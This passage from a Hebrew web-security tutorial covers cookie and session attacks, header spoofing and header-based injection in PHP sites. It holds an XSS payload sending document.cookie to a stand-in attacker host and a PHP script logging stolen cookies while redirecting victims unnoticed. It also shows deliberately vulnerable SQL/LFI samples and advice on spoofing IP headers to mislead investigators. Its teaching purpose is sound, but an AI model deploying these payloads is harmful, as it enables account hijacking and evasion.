במידה ולא ניתן לבצע שימוש ב-Brute Force בגלל קוד אבטחה, ניתן לבדוק אם העוגיה מכילה הצפנה שאינה תלוייה באחד מפרטי הגולש (IP, User-Agent...). במידה והיא אינה תלויה בו, ומדובר באחת ההצפנות השכיחות (MD5, SHA1...) נוכל לנסות לבצע Brute-Force דרך העוגיות עצמן, ללא עמוד ההתחברות, על ידי הצפנה מחדש של כל סיסמה שנרצה לבדוק והצבתה בעוגיה המתאימה. חשוב לציין שאמנם זו שיטה מהירה יותר כי אין שליחת טפסים (POST), אך עדיין מדובר בשיטה שלוקחת הרבה זמן וגם לא תמיד מצליחה בסופו של דבר.

גניבת עוגיות

גניבת עוגיות (Cookies Stealing או Cookies Grabbing) יכולה להתבצע במספר שיטות שונות. בין השיטות לגניבת עוגיות תוכלו למצוא שיטות כגון: Cross Site Scripting, Cross Site Tracing ועוד... לא ארחיב כרגע. במידה והצלחנו לגנוב את העוגיה ניתן לערוך את העוגיות שלנו ולהחליף אותן בעוגיות שגנבנו. אם זה לא מצליח, כנראה שיש סוג של הגנה חכמה בהצפנה, ולכן נצטרך להבין איך ההצפנה עובדת.

אז איך גונבים עוגיה?

אמנם הנושא חפור כמעט מכל הכיוונים, במיוחד בקהילות פנה בארץ, אבל אי אפשר שלא להתייחס אליו במאמר זה. בכל זאת, אני מדבר פה על הנושא, ואם לא אתייחס אליו יהיה הרגשה שמשהו חסר.

אראה לכם דוגמה לגניבת עוגי ות באמצעות ניצול מוצלח של מתקפת Cross Site Scripting על דומיין מסויים, דמיינו לעצמכם סיטואציה שבה הצלחנו להחדיר קוד ב- Javascript לאזור מסויים באתר. הקוד הוא בערך כזה:

```
<script>location.replace("http://muhaha.com/save.php?c="+document.cookie);</script>
```

הדוגמה הפשוטה הזו היא למעשה פעולת הפנייה (Redirection) של הגולש (הקורבן שלנו) לעמוד אחר. אנחנו מפנים את הגולש לכתובת אחרת ולקובץ אחר. כלומר הגולש יופנה אל הכתובת הבאה:

http://muhaha.com/save.php?c=**Cookies**

כאשר היכן שרשום Cookies, יופיע התוכן של העוגיות של הגולש. נבצע שמירה של העוגיות שמועברות באמצעות שורת הכתובת לקובץ שלנו (save.php).הקובץ save.php שלנו אמור להיראות בערך ככה:

```
<?php
if ( isset($_GET['c']) && is_string($_GET['c']) && !empty($_GET['c']) )
{
    $handle = @fopen('list.txt','a');

    if ( $handle )
    {
        @fwrite($handle,"\r\n\r\n".$_GET['c']); // \r\n = ירידת שורה
        @fclose($handle);
    }

     header("Location: http://the-site-the-surfer-came-from.com/index-file.html");
}
?>
```

נקודות חשובות:

- ביצעתי בדיקה שאכן קיים המשתנה, הוא מחרוזת והוא אינו ריק.
- יצרתי הפרדה בין המידע שיוכנס בעזרת שתי ירידות שורה.
- הפנתי את הגולש בחזרה לאינדקס של האתר שממנו בא, כדי שלא יבחין בכתובת שלנו ויחשוב שמדובר בבעיה באתר.

אני בטוח שלא הייתם רוצים שאנשים שלא אמורים לקבל גישה לקובץ list.txt יגיעו אליו, ולכן אני מציין שחשוב מאוד למנוע כניסה אל הקובץ הזה , לדוגמא באמצעות הגנה ב-htaccess או באמצעות דרכים אחרות (כמו הצבת הקובץ מחוץ ל-wwwroot / public_html).

כשיש שימוש ב-Sessions

עוגיות נשמרות אצל הגולש במחשב, מה שמאפשר לו לערוך אותן. מה לגבי עוגיות שנשמרות בשרת?
Session: עוגיה שנשמרת בשרת. לכל Session יש מספר סידורי שרק הוא נשלח לגולש.
המספר הסידורי נקרא Session Identifier וערכו הצפנה מסויימת והוא נשמר בעוגיה ששמה קבוע מראש. ב-PHP, שם ברירת המחדל של העוגיה הוא PHPSESSID. חשוב לציין שזו עוגיה כמו כל העוגיות. במקרה ויש שימוש ב-Sessions, האפשרויות העומדות בפנינו הן:

Session Hijacking (גניבת ה-Session)

PHPSESSID (או איך שהעוגיה נקראת) היא בכל זאת עוגיה , וגם היא יכולה להיגנב . במידה והצלחנו לגנוב את העוגיה, נוכל להציב אותה ולקבל את כל המידע השמור לאותו Session.

שיטה זו נקראת **Session Hijacking** והיא ניתנת למניעה בצורה פשוטה מאוד: נוסיף Session שיכיל את כתובת ה-IP של הגולש ועוד Session לשמירת הכותר User-Agent שלו. נבצע תמיד השוואה בין הפרטים השמורים ב-Session לפרטים האמיתיים, וכך נמנע את השיטה ברוב המקרים.
הנה קוד לדוגמה שהכנתי המונע את השימוש בשיטה:

```
<?php
session_start();

if ( count($_SESSION) )
{
   $valid = md5($_SERVER['REMOTE_ADDR'].$_SERVER['HTTP_USER_AGENT']);

   if ( isset($_SESSION['valid']) )
   {
      if ( $_SESSION['valid'] != $valid )
      {
            session_unset();
            session_destroy();
            session_regenerate_id();
      }
   }
   else
   {
      $_SESSION['valid'] = $valid;
   }
}

//ופה מגיע המשך הקוד של הדף שלנו
```

גישה לקריאת מידע ה-Sessions בשרת

במידה ויש לנו גישה לקריאת המידע הנמצא ב- Sessions בשרת, סביר להניח שנוכל להתקדם , תלוי בפרטים. חשוב לציין שזה לא תמיד אפשרי כי קריאת מידע ה-Sessions בשרת דורש גישה לשרת (כמו חשבון בשרת).

Session Fixation (קיבוע ה-Session)

PHPSESSID הוא למעשה משתנה שבדרך כלל מופיע בעוגיה, אבל לא תמיד.
הגדרה לא נכונה בשרת יכולה להגרום לו להופיע בטפסים (POST) ובשורת הכתובת (GET).

לדוגמה:

```
http://www.site.com/index.php?page=login&PHPSESSID=h2dsamokpimsfp11v2nh9e6mc7
```

אז איך זה עוזר לנו? בואו נראה:

התוקף נכנס לכתובת הבאה:

```
http://www.site.com/index.php?page=index&PHPSESSID=h2dsamokpimsfp11v2nh9e6mc7
```

מאחר ולא היה לו Session מסויים, הוא מקבל את ה-Session שמספרו הסידורי הוא:
h2dsamokpimsfp11v2nh9e6mc7

התוקף משוחח עם הקורבן על משהו (נגיד הודעה חדשה בפורום) ושולח לו קישור להתחבר לאתר כדי שיוכל לגלוש בו:

```
http://www.site.com/index.php?page=login&PHPSESSID=h2dsamokpimsfp11v2nh9e6mc7
```

שימו לב שמדובר באותו מספר סידורי של ה-Session. אחרי שהקורבן מתחבר, החיבור נשמר באמצעות ה-Session.

מספרו הסידורי של ה- Session הוא: h2dsamokpimsfp11v2nh9e6mc7. מאחר וזה גם המספר הסידורי של ה- Session של המתקיף , כל שעליו לעשות בכדי לקבל את המידע החדש שנמצא ב- Session הוא לרענן את הדף.
התוצאה: המתקיף מחובר לחשבונו של הקורבן.

המניעה של השיטה אפשרית בעזרת הקוד שהצגתי למניעת Session Hijacking, אך גם אפשרית מצד השרת. ב-php.ini, קובץ ההגדרות הראשי של ה-PHP, הגדירו בדיוק כך:

```
session.use_cookies = 1
session.use_only_cookies = 1
```

אז מה עשינו פה?
בעזרת השורה הראשונה קבענו שניתן יהיה להעביר Sessions בעזרת עוגיות. בעזרת השורה השניה קבענו שההעברה תתאפשר רק באמצעות שימוש בעוגיות. במילים אחרות, מנענו את השיטה בעזרת ביטול המרכיב הבסיסי שעליו היא עובדת.

גילוי מיקום הקבצים בעזרת תווים לא חוקיים ב-Session

עוד טריק שחשוב שתכירו: אפשר לגרום לשגיאה ב-PHP שתחזיר בהרבה המקרים את מיקום הקבצים (Full Path Disclosure) ע"י שימוש בתווים לא חוקיים ב-PHPSESSID, העוגיה שבה נשמר המספר הסידורי של ה-Session שלנו.

לדוגמה: (בקשה שנשלחת לשרת)

```
GET /index.php HTTP/1.1
Host: localhost
User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.1; he; rv:1.9.2.2) Gecko/20100316
Firefox/3.6.2
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: he,en-us;q=0.7,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: windows-1255,utf-8;q=0.7,*;q=0.7
Keep-Alive: 115
Connection: keep-alive
Cookie: PHPSESSID=.
```

כאשר הדגש הוא על השורה האחרונה:

```
Cookie: PHPSESSID=.
```

שימו לב שהגדרתי את המספר הסידורי של ה-Session שלי כנקודה אחת בלבד, תו שאינו נחשב לחוקי.

ובתגובה ה-PHP יצטרך להחזיר לנו שגיאה בסגנון הבא:

```
Warning: session_start() [function.session-start]: The session id contains illegal
characters, valid characters are a-z, A-Z, 0-9 and '-,'
in/home/roy/domains/roydomain.com/public_html/folder/file.php on line 2
```

אתם רואים את המיקום המודגש? זהו הקובץ בו חלה השגיאה, בצירוף המיקום המלא שלו!

אז איזה מידע אנחנו מסיקים מכאן?

שם החשבון בשרת:

```
roy
```

אחד הקבצים הקיימים והתיקיה בה הוא נמצא:

```
folder/file.php
```

מיקום הקבצים:

```
/home/roy/domains/roydomain.com/public_html/
```

זה מידע חיוני ושימושי שבדרך כלל יעזור לנו בהמשך, ולא כדאי לאבד אותו.

שינוי וזיוף מידע מצד הגולש

ניתוח הכותר User-Agent

זוכרים את הכותר User-Agent? בואו נסתכל על הכותר User-Agent הנוכחי שלי:

```
User-Agent: Mozilla/5.0 (Windows; U; Windows NT
5.1; he; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2
```

כפי שניתן לראות, הכותר הזה מספק לשרת הרבה מידע על הסביבה שממנה אני גולש. לדוגמה:

- מדובר בדפדפן אינטרנט מבית מוזילה (גירסה 5.0)
- רמת אבטחה חזקה (N=אין אבטחה, U=אבטחה חזקה, I=אבטחה חלשה)
- מערכת ההפעלה היא Windows XP
- השפה שבה אני משתמש היא עברית (**he**brew)
- מנוע הפיענוח הוא Gecko גירסה 1.9.2.2 שנבנה ב16.03.2010
- **הדפדפן הוא Firefox גירסה 3.6.2**

תצמידו לזה את כתובת ה-IP (האומר את הספקית שלכם והמדינה ממנה באתם) וה-Referer (הדף ממנו הופנתם) שלכם. מדובר בלא מעט פרטים, אתם לא חושבים? אז כן, אנחנו יכולים לזייף פרטים אודותיינו, אבל איך זה יכול לעזור לנו?

עקיפת "אורח יקר, אנא הירשם..."

מכירים את זה שאתם מחפשים משהו בגוגל, מוצאים אותו וכשאתם נכנסים: "אורח יקר, אנא הירשם...". מבאס, אה? הרי גוגל כן הצליח לקרוא את מה שכתוב, כלומר לגוגל יש גישות שלאורח אין (במקרה הזה: קריאה). אבל איך האתר מזהה את גוגל? לגוגל יש יותר מ-IP אחד, אז זה חייב להיות לפי משהו שהוא שולח. במקרה הזה, הזיהוי של גוגל מתבצע בעזרת הכותר User-Agent שהוא שולח:

```
User-Agent: Mozilla/5.0 (compatible; Googlebot/2.1; +http//www.google.com/bot.html)
```

נשתמש בזה ו .. קיבלנו גישה לצפיה במה שכתוב מבלי להירשם ! השיטה הזו נקראת **User-Agent Faking**, אהבתם?

עקיפת הגנת הפניה לתמונה

הדוגמה הזאת מתייחסת לסיטואציה שכיחה פחות, אבל גם היא מוכרת, יש הרבה שרתים אשר חוסמים גישה לתמונות שמאחוסנים בשרת שלהם כאשר מופנים אליהם מאתר אחר. יש גישה אם הייתם מגיעים לתמונה מתוך האתר עצמו. מוזר.

אז מה קורה פה? איך זה יודע להבדיל בין גולשים שבאו מהאתר לבין גולשים שבאו מאתרים אחרים? גם כאן התשובה פשוטה. הכותר Referer אומר לאתר מאיזו כתובת הגענו. כלומר, אם נשנה (או נמחק, זה גם לפעמים עובד) את הכותר...

```
Referer: http://this-site-address.com/index.php
```

ושוב - קיבלנו גישה למרות שלא היינו אמורים לקבל . שיטה זו נקראת לעיתים **Referer Faking** והיא בהחלט תורמת הרבה.

עקיפת חסימה לדפדפנים ספציפיים

יש לא מעט אתרים שמספקים תמיכה לדפדפן אחד ספציפי , בדרך כלל Internet Explorer. יש אתרים שמספקים תמיכה רק לחק מסויים מהדפדפנים ולא לכולם, חלקם חוסמים אותנו בעת ניסיון לגשת אליהם עם דפדפנים שלא נתמכים ע"י האתר, וחלקם פשוט לא מעוניינים שנשתמש בהם מסיבות שונות.

אבל איך בעצם האתר יודע באיזה דפדפן אני משתמש ? אתם כבר צריכים להכיר את התשובה : הכותר User-Agent. בואו ניזכר:

```
User-Agent: Mozilla/5.0 (Windows; U; Windows NT
5.1; he; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2
```

כפי שבטח כבר נזכרתם , אפשר לראות באיזה דפדפן אנחנו משתמשים בעזרת המידע הנשלח לשרת בכותר הזה. במילים אחרות, אם האתר החליט למנוע כניסה מגולשים שהכותר User-Agent שלהם לא מכיל את המחרוזת MSIE שמייצג קיצור של Microsoft Internet Explorer, אז בשביל לעקוף את החסימה שלו יהיה עלינו להשתמש במילה MSIE. אפשר להוסיף את זה , אפשר להשתמש רק בזה ... הכל תלוי באופן שבו האתר מבצע את הבדיקה שלו.

אם אמשיך בדוגמה שנתתי, אז אוכל לעקוף את הבדיקה על ידי הוספת MSIE, או יותר פשוט:

```
User-Agent: MSIE
```

קצר, קולע וגם עובד! גם בדוגמה הזו מדובר בשיטה הנקראת User-Agent Faking (או גם User-Agent Modification).

עקיפת מגבלת התווים בשדות טקסט

אני בטוח שלפחות פעם אחת נתקלתם בשדות טקסט עם מגבלת תווים , ואולי אפילו רציתם להמשיך לרשום למרות המגבלה . ראשית כל, אנחנו צריכים להבין שמדובר במגבלה הפועלת בראש ובראשנה מהדפדפן שלנו, מהקוד בצד הלקוח.
לדוגמה:

```
<input type="text" ... value="" maxlength="10" />
```

השורה הזאת (שכתובה ב-HTML) מורה לדפדפן ליצור תיבת טקסט בעלת מגבלת כתיבה של 10 תווים לכל היותר. במידה ואין בדיקה נוספת בצד השרת (מקרה שכיח הרבה יותר ממה שנדמה לנו בדרך כלל), אז נוכל לעקוף את המגבלה. אז איך נעשה את זה? עומדות בפנינו מספר אפשרויות:

1. שימוש ב-JavaScript Injection. נושא שכבר הסברתי עליו (ולא אסביר עליו שוב) במאמר אחר שכתבתי: פירצות אבטחה נפוצות ואפשריות בעת העלאת קבצים בעזרת PHP הפורסם במקור בגיליון הרביעי של DigitalWhisper. אפשר גם למצוא את הגירסה המקורית (לפני העריכה ל-DigitalWhisper) באתר שלי: האקינג, אבטחת מידע ומה שביניהם.

2. שימוש ב-Form Manipulation. גם על הנושא הזה הסברתי במדריך שקישרתי אליו.

3. תוספות לדפדפן Firefox. אני משתמש ב-Web Developer. אני ממליץ מאוד שתנסו.

עקיפת מונה הבנוי ב-JavaScript

מונה (counter) ב-Javascript, כמו כאלו באתרי הורדות שמקודם דיברתי עלי הם, לא תמיד מציגים לנו את הכפתור. לפעמים הכפתור הוא בלתי נראה , ורק בתום הספירה הוא מופיע . כמו שבטח שמתם לב , הספירה לאחור שמונה את הזמן שנשאר לחכות מתבצעת בזמן אמת, מתוך הדפדפן שלנו כמובן. מדובר במקבץ פעולות לא מורכבות במיוחד . הבעיה היא שלפעמים אין בדיקה גם בצד השרת. כלומר, מלבד הסקריפט ב-Javascript שמסתיר את הכפתור כדי שלא נלחץ עליו , אין דבר אחר שיעצור אותנו . מה עושים? Javascript Injection, Form Manipulation ושימוש בתוספות לדפדפן . רק תבחרו ... בשביל למנוע את הבעיה, יהיה עלינו ליצור גם בדיקה נוספת שתפעל בצד השרת ותאמת את הזמן שהיה על הגולש לחכות.

בואו נראה דוגמה בנדיבותו ובאישורו של cp77fk4r שדואג לפירסום של TryThis0ne (אתר שלו, מומלץ מאוד). אפשר למצוא את השלב שעליו אדגים בקישור הבא
http://trythis0ne.com/levels/web-challanges/MSD/index.php

אז מה הולך פה ? קודם כל אנחנו יכולים להבין שמדובר פה בסיטואציה של אתר שמספק לנו הו רדה לקובץ. העניין הוא שיש זמן להמתין, ולצורך השלב יש פה הגזמה בזמן כך שההורדה תינתן לנו רק בעוד מספר שנים... אז מה נעשה? :)

אנחנו יכולים לראות כי מדובר פה בספירה לאחור שמתבצעת בזמן אמת בעזרת Javascript, ולכן הדבר הראשון שנעשה יהיה צפיה במקור הדף . טוב, לא ניסו לסבך אותנו יותר מדי , הקוד שנמצא פה בהחלט לא מסובך להבנה ואין בו טריקים.

אציג בפניכם מספר דרכים יצירתיות לפתרון השלב

דרך ראשונה - איפוס כל המונים:
אני בטוח שהבחנתם שיש 4 מונים שונים זה מזה. אחד לימים, אחד לשעות, אחד לדקות ואחד לשניות. כל שעלינו לעשו ת הוא כמובן לאפס אותם בעזרת שימוש ב- Javascript Injection לא מורכב באופן מיוחד, בשורת הכתובת (כן, איפה שנמצאת כתובת האתר) נמחק את כל מה שיש ונרשום את זה:

```
javascript:void(count1=0,count2=0,count3=0,count4=0);
```

(אני לא מתכוון לחזור ולהסביר שוב על Javascript Injection, תקראו את המאמר [שצויין מקודם] שבו התייחסתי לנושא)

דרך שניה - שליחת הטופס בצורה ידנית:
שימו לב שבקוד המקור, בתוך כל התנאים והסיבוכים, מגיעה השורה הבאה:

```
document.a.submit();
```

השורה הזו מתייחסת לטופס, ושולחת אותו. נוכל לבצע את הפעולה הזאת לבד, כך: (צריך לרשום את זה בשורת הכתובת)

```
javascript:document.a.submit();
```

דרך שלישית - דפיקת השעון:
איך הדפדפן יודע לשנות את המספרים שכתובים בדיוק לפי השניות? שימו לב לשורה הבאה:

```
setTimeout('countdown()',1000);
```

השורה הזו מורה לדפדפן לקרוא לפונקציה countdown אחרי שניה (1000 מילי שניות = שניה אחת). כלומר, בכל קריאה לפונקציה- נבנית מחדש הפעולה הזו שמבצעת קריאה לפונקציה בעוד שניה . אנחנו יכולים גם לבנות פעולה כזו, ואפילו יותר טוב, פעולה שתתבצע בכל רגע (שימוש בפונקציה setInterval), ולא רק פעם אחת אחרי שניה. לדוגמה:

```
javascript:void(setInterval('countdown()',1));
```

השורה הבאה (שנריץ בשורת הכתובת) תבצע קריאה לפונקציה countdown בכל מילי שניה, וכתוצאה מכך השעון יתקתק בקצב הרבה יותר מהר . שימו לב שמאחר ואנו מבצעים קריאה לפונקציה , אז גם הפונקציה עצמה תיצור קריאה לעצמה בעוד שניה , בכל פעם (כל מילי שניה) שמתבצעת אליה קריאה. מדובר פה בתאוצה ענקית שגדלה במהירות עצומה , שתעביר דקות ושעות בשעון במספר שניות . אולי בדוגמה הנוכחית הטריק לא יהיה שימושי כי יש גם ימים, אך חשוב לזכור שמדובר בהגזמה ספציפית של השלב ונדיר שישנו שעון הסופר מעל לשעה, כך שהטריק הזה יעבוד יפה מאוד במצבים אמיתיים.

עקיפת חסימה הפועלת לפי שפה

האנטישמיות היא עניין כואב שבוודאי גם אתם נתקלתם בו ברשת האינטרנט. לי אישית יצא לראות מספר אתרים שמונעים כניסה מישראלים. בשביל לבדוק אם אני ישראלי, אפשר להסתבך עם כתובות IP ומשם לשלוף את המדינה שממנה אני מתחבר (וכך גם לפגוע בערבים וסתם עוד כאלה בישראל שלא אמורים

להפגע) או להשתמש במרכיב פשוט יותר: השפה שבה אני משתמש. אני אחזור ואזכיר לכם את הדוגמה הקודמת שהראיתי לכם עם הכותר, אך הפעם אדגיש חלק אחר:

```
User-Agent: Mozilla/5.0 (Windows; U; Windows NT
5.1; he; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2
```

הקיצור "he" מייצג "hebrew", כלומר: Hebrew - עברית, השפה אותה אנחנו דוברים כמובן. יש אתרים שמשתמשים בה לחסימ ת גולשים. נוכל לבצע כאן User-Agent Modification כדי לא להיתפס על ידי אותה הבדיקה. לדוגמה:

```
User-Agent: Mozilla/5.0 (Windows; U; Windows NT
5.1; en; rv:1.9.2.2) Gecko/20100316 Firefox/3.6.2
```

הקיצור en מייצג english, כלומר: English - אנגלית, השפה שבה מדברים לא מעט אנשים בעולם, ברוב המקומות.

עקיפת הביטול של אובייקטים בטופס

אתר הורדות הוא אתר מאפש ר לאנשים להעלות ולהוריד ממנו קבצים . בשביל לעשות גם כסף על זה , אתרי ההורדות נוהגים להגביל את הגולשים כדי שירכשו חשבון ללא מגבלות . אחת ההגבלות היא זמן שיש להמתין עד שתוכלו ללחוץ על כפתור ההורדה לתחילת ההורדה (אי אפשר ללחוץ על הכפתור וכתוב בו "אנא המתן X שניות לתחילת ההורדה").

זה מעיק ומציק, במיוחד כשצריך לחכות הרבה, נכון? בתור הספירה, יהיה ניתן ללחוץ שוב על הכפתור. איך זה השתנה? הנה ההסבר: היכולת ללחוץ או לא ללחוץ על הכפתור היא מאפיין של האובייקט של הכפתור. המאפיין הזה נקרא disabled, וכשהוא מקבל ערך אמת (true) אז לא ניתן ללחוץ על הכפתור. אולם, אם נציב לו ערך שקר (false), כמו זה שמוצב לו בתום הספירה לאחור בעזרת סקריפט פשוט ב-Javascript, אז יהיה ניתן ללחוץ על הכפתור . מה עושים? שוב עומדות בפנינו מספר אפשרויות שכבר דיברתי עליהן מקודם: Javascript Injection, Form Manipulation ושימוש בתוספות לדפדפן.

עקיפת מנגנוני אבטחה ב-JavaScript

ב-"עקיפת חסימה לדפדפנים ספציפיים " דיברתי על בדיקה שנעשית בצד השרת , אך יש גם אפשרות לביצוע בדיקה בצד הלקוח, למשל בעזרת קוד ב-JavaScript לבדיקת האובייקט navigator (שבו תוכלו למצוא פרטים על הדפדפן).

הפעם נתמקד בעקיפת הבדיקה הזו שמשתמשת במידע שלא נשלח בתוך ה-Request עצמו, אלא קיים בתוך הדפדפן עצמו. האפשרות הפשוטה ביותר היא להשתמש בתוספות לדפדפן Firefox, ושוב - החיים הופכים לפשוטים יותר . התוסף הראשון שאני ממליץ עליו הוא Coral IE Tab, שמאפשר להעביר את מנוע הפיענוח לזה של אינטרנט אקספלורר.

כלומר, אנחנו ממש נגלוש מתוך ה- Internet Explorer, רק בתוך חלון של Mozilla Firefox. שימושי מאוד מדי פעם. התוסף השני שאני ממליץ עליו הוא User-Agent Switcher, תוסף המאפשר לנו לערוך בצורה נוחה את הכותר User-Agent ובנוסף מאפר לערוך גם את המידע המופיע באובייקט navigator ועוד הרבה פרטים נוספים. בתוסף יש רשימת כותרים שמלווה איתו.

זיוף כתובת ה-IP שלנו (התחזות לפרוקסי)

יש שרתי פרוקסי אשר מצרפים לבקשות שנשלחות דרכם הידרים הכוללים את ה-IP של מי שכרגע גולש דורכם וביצע את שליחת הבקשה. עם הזמן העניין התפתח, וכיום יש שימוש בהידרים האלה לזיהוי ה-IP האמיתי של הגולש. זה לא תמיד קיים, אבל כשזה כן, זה מעולה.

מה שבעצם הולך פה זה לא זיוף של כתובת ה-IP האמיתית שלי, כי זה לא באמת אפשרי. אז מה באמת קורה פה? אני גורם לאתר לחשוב שאני בעצם שרת Proxy ודרכי גולש מישהו אחר, וכך הכתובת IP שלי היא בעצם לא שלי אלה שלו. אז איך אנחנו עושים את זה?

בואו נראה דוגמה לקוד קצר המזהה כתובת IP ששולח שרת פרוקסי ומחליף אותה בכתובת ה- IP של הפרוקסי:

```
if ( isset($_SERVER['HTTP_CLIENT_IP']) && preg_match(..לוודא שזה תקני..) )
{
   $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_CLIENT_IP'];
}
```

הדוגמה הזו משתמשת בכותר Client-IP, שהוא אחד הכותרים (עם כתובת ה- IP של הגולש) ששרתי פרוקסי מצרפים.

מאחר ומדובר בכותר רגיל (Header) אשר מצורף לבקשה, נוכל להוסיף אותו בעצמנו ולגרום ל מערכת לבצע רישום שגוי. לדוגמה, אוסיף לבקשה שלי את השורה הבאה:

```
Client-IP: 209.85.135.99
```

כתובת ה-IP שהוספתי היא למעשה אחת מכתובות ה-IP של גוגל. כלומר, אם אבצע פריצה תוך כדי זיוף כתובת ה-IP שלי לכתובת ה-IP של גוגל... אני אגרום לבלבול רציני.

אנחנו יכולים לראות אפילו דוגמה לאקספלוייט ל-Invision Power Board המנצל את חולשה זו.
תחפשו ותתמקדו בזיוף ה-IP בעזרת שינוי הכותר Client-IP (יש שם גם קצת הסברים בפלט ובהערות).
החולשה הזו קיימת בעוד הרבה מקומות, לדוגמה: IP address spoofing in e107. (שימוש בכותר X-Forwarded-For).

כתובת ה-IP שאני רושם גם לא חייבת להיות כתובת אמיתית של מישהו . אני יכול סתם להמציא אחת . דמיינו לכם כיצד יגיב בעל אתר שיראה שכתובת ה-IP של הגולש שביצע פריצה שלו בעזרת:

```
Client-IP: 000.00.000.00
```

ואם אנחנו ממש רוצים לחרפן אותו, בואו נשתמש בכתובת של השרת שלו אז:

```
Client-IP: 127.0.0.1
```

כתובת ה-IP הזו היא כתובת מיוחדת המיוחסת ל- localhost. כלומר, זה ייראה כאילו הפריצה בוצעה מתוך השרת.

הכותר Client-IP הוא אחד מתוך רשימה של כותרים המבצעים את אותה המטרה. עוד כותר מוכר מאוד הוא Proxy-User, והעניין פועל בדיוק על אותו עיקרון.

לדוגמה:

```
if ( isset($_SERVER['HTTP_PROXY_USER']) && preg_match(...) )
{
   $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_PROXY_USER'];
}
```

ואופן הניצול: (כאשר כל כתובת IP יכולה להגיע כאן)

```
Proxy-User: 000.00.000.00
```

חשוב לזכור שלפעמים אולי מדובר בבדיקה פשוטה יותר, כמו:

```
if ( isset($_SERVER['HTTP_PROXY_USER']) )
{
   $_SERVER['REMOTE_ADDR'] = $_SERVER['HTTP_PROXY_USER'];
}
```

הבדיקה הזו לא מאמתת אפילו שמדובר בתחביר תקין של כתובת IP, מה שיאפשר לנו לבצע את הדבר הבא:

```
Proxy-User:
```

כן, ערכו של הכותר יועבר למשתנה השומר את כתובת ה- IP של הגולש, למרות שלמעשה הוא לא מכיל אפילו תו אחד.

ולפני שנעבור לחלק הבא, הנה רשימה של כותרים בסגנון שדיברתי עליהם:

```
Client-IP
X-Forwarded-For
Proxy-User
Forwarded
Useragent-Via
Proxy-Connection
Xproxy-Connection
Pc-Remote-Addr
Via
```

לדעתי, כשיש בדיקה כזאת, זה אחד הטריקים היפים ביותר שיש :)

הזרקת קוד דרך ההידרים

מידע שמועבר מ-GET הוא קל לשינוי, ולכן זה מובן מאליו שניתן יהיה להזריק דרכו קוד. כנ"ל לגבי מידע מטפסים. כשמדובר בהידרים (כמו: User-Agent, Referer ו-Cookie לעוגיות ו-Sessions), אנשים לא חושבים על אפשרות לניצול.

אולי מדובר בחוסר ידע בנושא? אולי הם לא יודעים שניתן לערוך את המידע הזה? אני לא יודע, ולכן אני מבהיר:

הזרקת קוד יכולה להתבצע באמצעות כל גורם התלוי בגולש, החל ממידע המגיע דרך שורת הכתובת ועד הפרט הקטן ביותר הנשלח מצד הגולש.

Session Injection

להלן דוגמה לקוד המבצע שליפה של מידע אודות חשבון משתמש על פי מספרו הסידורי של ה-Session שלו שנשמר לאחר תהליך ההתחברות במסד הנתונים, תחת השורה המתאימה לפרטי חשבון המשתמש שדרכם התחבר הגולש:

```
<?php
mysql_connect('host','username','password');
mysql_select_db('database');

$sessionId = $_COOKIE['PHPSESSID'];

$query = mysql_query("SELECT username,email,points,settings FROM members
WHERE last_session_id='{$sessioId}'");

$rows = mysql_num_rows($query);

if ( $rows > 0 )
{
   $memberInfo = mysql_fetch_array($query);
}

mysql_close();
?>
```

נוכל לבצע הזרקת קוד על ידי שינוי העוגיה PHPSESSID שמייצגת את ה-Session Identifier שלנו, כלומר את המספר הסידורי של ה- Session שלנו. במקרה הזה, הזרקת הקוד תיהיה ביצוע של SQL Injection.

User-Agent Injection

במידה ויש לנו פעולה שמתבסס על User-Agent, נוכל לערוך אותו ולהזריק קוד דרכו.

לדוגמה, יש קוד ששומר במסד הנתונים את ערכו של הכותר User-Agent של כל גולש שנכנס (אם אינו קיים כבר):

```
<?php
mysql_connect('host','username','password');
mysql_select_db('database');

$ua = $_SERVER['HTTP_USER_AGENT'];
$query = mysql_query("SELECT ua FROM ua WHERE ua='{$ua}'");

if ( mysql_num_rows($query) == 0 )
   mysql_query("INSERT INTO ua VALUES('{$ua}')");

mysql_close();
?>
```

הקוד מוסיף את הכותר User-Agent של הגולש אם הוא לא קיים במסד . אין שום סינון ל User-Agent ולכן נוכל לשנות אותו ולבצע SQL Injection דרכו.

Referer Injection

הרבה אתרים אוהבים לשמור את האתרים שמפנים אליהם. הנה דוגמה:

```
<?php
mysql_connect('host','username','password');
mysql_select_db('database');

$referer = $_SERVER['HTTP_REFERER'];
$query = mysql_query("SELECT url FROM referers WHERE url='{$referer}'");

if ( mysql_num_rows($query) == 0 )
   mysql_query("INSERT INTO referers VALUES('{$referer}')");

mysql_close();
?>
```

כן, דוגמה דומה מאוד לזו שהצגתי בדוגמה של User-Agent Injection, וגם אופן הניצול הוא על אותו עיקרון. ההבדל הוא שהפעם אנו נערוך את כותר המפנה (Referer) שלנו ולא את הכותר User-Agent.

Cookie Injection

כשיש לנו פעולה שמתבססת על עוגיות , נוכל לערוך את העוגיות ולהזריק קוד דרכם . לדוגמה, הנה קוד שמייבא את הקובץ שמכיל את פרטי המשתמש באמצעות עוגיה:

```
if ( isset($_COOKIE['user-id']) )
{
   $file = file_get_contents('accounts/'.$_GET['user-id'].'.txt');
   $file = str_replace("\r","",$file); //למניעת בעיות
   $memberInfo= explode("\n",$file);
}
```

אז כן, במקרה הזה מדובר ב-Local File Inclusion שניתן לניצול באמצעות עריכת העוגיה user-id.

עריכת הבקשה לשליטה בתגובה

לעיתים, התגובה שאנחנו מקבלים מהשרת יכולה להת בסס על הבקשה ששלחנו . זאת אומרת, היכולת לשליטה בבקשה לפעמים מקנה לנו גם יכולת לשליטה בתגובה . היכולת לשליטה בתגובה היא למעשה עוצמה אדירה, כי אנחנו קובעים מה יקרה באתר . הגולש בדרך כלל סומך על האתר , ולכן אם הוא יראה משהו באתר שנוצר בגללנו, הוא יסמוך על זה.

השליטה בתגובה מאפשרת לנו לנצל מספר פירצות אבטחה, וביניהן:

HTTP Response Splitting

HTTP Response Splitting הינו נושא אשר הוצג בעבר על ידי cp77fk4r בגיליון הראשון של DigitalWhisper. אני לא אחזור על הנושא מאחר והוא הוסבר בצורה נהדרת. אני ממליץ מאוד לקרוא את המאמר.

